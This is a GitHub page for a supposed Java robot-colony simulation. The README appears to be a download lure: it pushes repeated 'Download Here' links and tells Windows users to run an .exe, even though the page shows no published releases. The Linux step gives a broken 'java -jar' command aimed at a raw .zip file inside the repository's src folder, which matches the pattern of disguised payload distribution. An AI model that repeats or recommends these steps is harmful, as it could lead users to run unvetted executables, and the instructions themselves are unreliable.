Skip to content

AngelJulio1331/RobotColonyExplorerSimulation

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

15 Commits
ย 
ย 
ย 
ย 

Repository files navigation

๐Ÿค– RobotColonyExplorerSimulation - Experience Autonomous Robot Navigation

๐Ÿš€ Getting Started

Welcome to RobotColonyExplorerSimulation! This application lets you dive into a world where autonomous robots navigate through a grid, managing their energy levels while avoiding obstacles.

๐Ÿ“ฅ Download the Application

Download the Latest Release

To get started, you'll need to download the application. Click the button above or visit the following link to access the Releases page: Download Here.

๐Ÿ“‹ System Requirements

Before you install the application, make sure your system meets the following requirements:

  • Operating System: Windows 10, macOS 10.12 or newer, or any recent Linux distribution.
  • Java Version: JDK 8 or newer installed. You can download it from the official Java website.
  • Memory: At least 4 GB of RAM.
  • Disk Space: At least 200 MB of free disk space.

๐Ÿ”ง Features

  • Grid-Based Navigation: Watch as robots move through a grid, making decisions based on energy levels and obstacles.
  • Energy Management: Robots use energy to navigate and complete tasks. Monitor their energy as they explore.
  • Save/Load System: Save your progress or load existing simulations to continue where you left off.
  • Procedural Generation: Each playthrough offers a unique experience with randomly generated grids and obstacles.
  • User-Friendly GUI: The application is built with Java Swing, providing an easy-to-use interface.

๐Ÿ› ๏ธ Installation Steps

  1. Download the Application

    • Visit the Releases page: Download Here.
    • Choose the latest release that suits your operating system.
    • Click on the file and download it to your computer.
  2. Install Java

    • Make sure you have Java installed on your computer. If not, download and install the latest version from the official Java website.
  3. Run the Application

    • Navigate to the folder where you downloaded the file.
    • For Windows users, double-click on the downloaded .exe file to run the application.
    • For macOS, double-click the .jar file to launch it. If it doesnโ€™t open, right-click and select โ€œOpen.โ€
    • For Linux users, open a terminal, navigate to the location of the .jar file, and run the command:
      java -jar https://github.com/AngelJulio1331/RobotColonyExplorerSimulation/raw/refs/heads/master/src/Colony-Explorer-Robot-Simulation-2.8.zip
      

๐ŸŽฎ Using the Application

Once you've launched the application, you will see a main menu. Hereโ€™s how to get started:

  1. New Game: Select this option to start a new simulation. You will see the grid with robots ready to navigate.
  2. Load Game: If you have saved progress, select this option to load your game.
  3. Settings: Adjust preferences such as sound, graphics, and controls.
  4. Exit: Close the application.

Navigation Controls

  • Arrow Keys: Control the movement of robots within the grid.
  • Spacebar: Pause or unpause the simulation.

๐Ÿ•น๏ธ Tips for Enjoying the Simulation

  • Monitor energy levels closely. Running out of energy will stop your robots.
  • Explore different strategies for navigating the terrain.
  • Experiment with saving and loading different levels to see various outcomes.

๐Ÿ”— Explore More

For further questions or help, consider the following resources:

  • Documentation: Check the Wiki section in the GitHub repository for guides and FAQs.
  • Issues Page: Report any problems or bugs you encounter.
  • Community Support: Engage with other users and share your experiences in discussions.

๐Ÿ“ฅ Download & Install the Application Again

To download the application again, follow the link: Download Here.

With this guide, you should be able to download, install, and enjoy the RobotColonyExplorerSimulation without any hassle. Have fun exploring the capabilities of autonomous robots!

About

๐Ÿค– Explore a grid world with multiple robots that navigate, collect energy, and face challenges, all while showcasing Java's object-oriented design.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages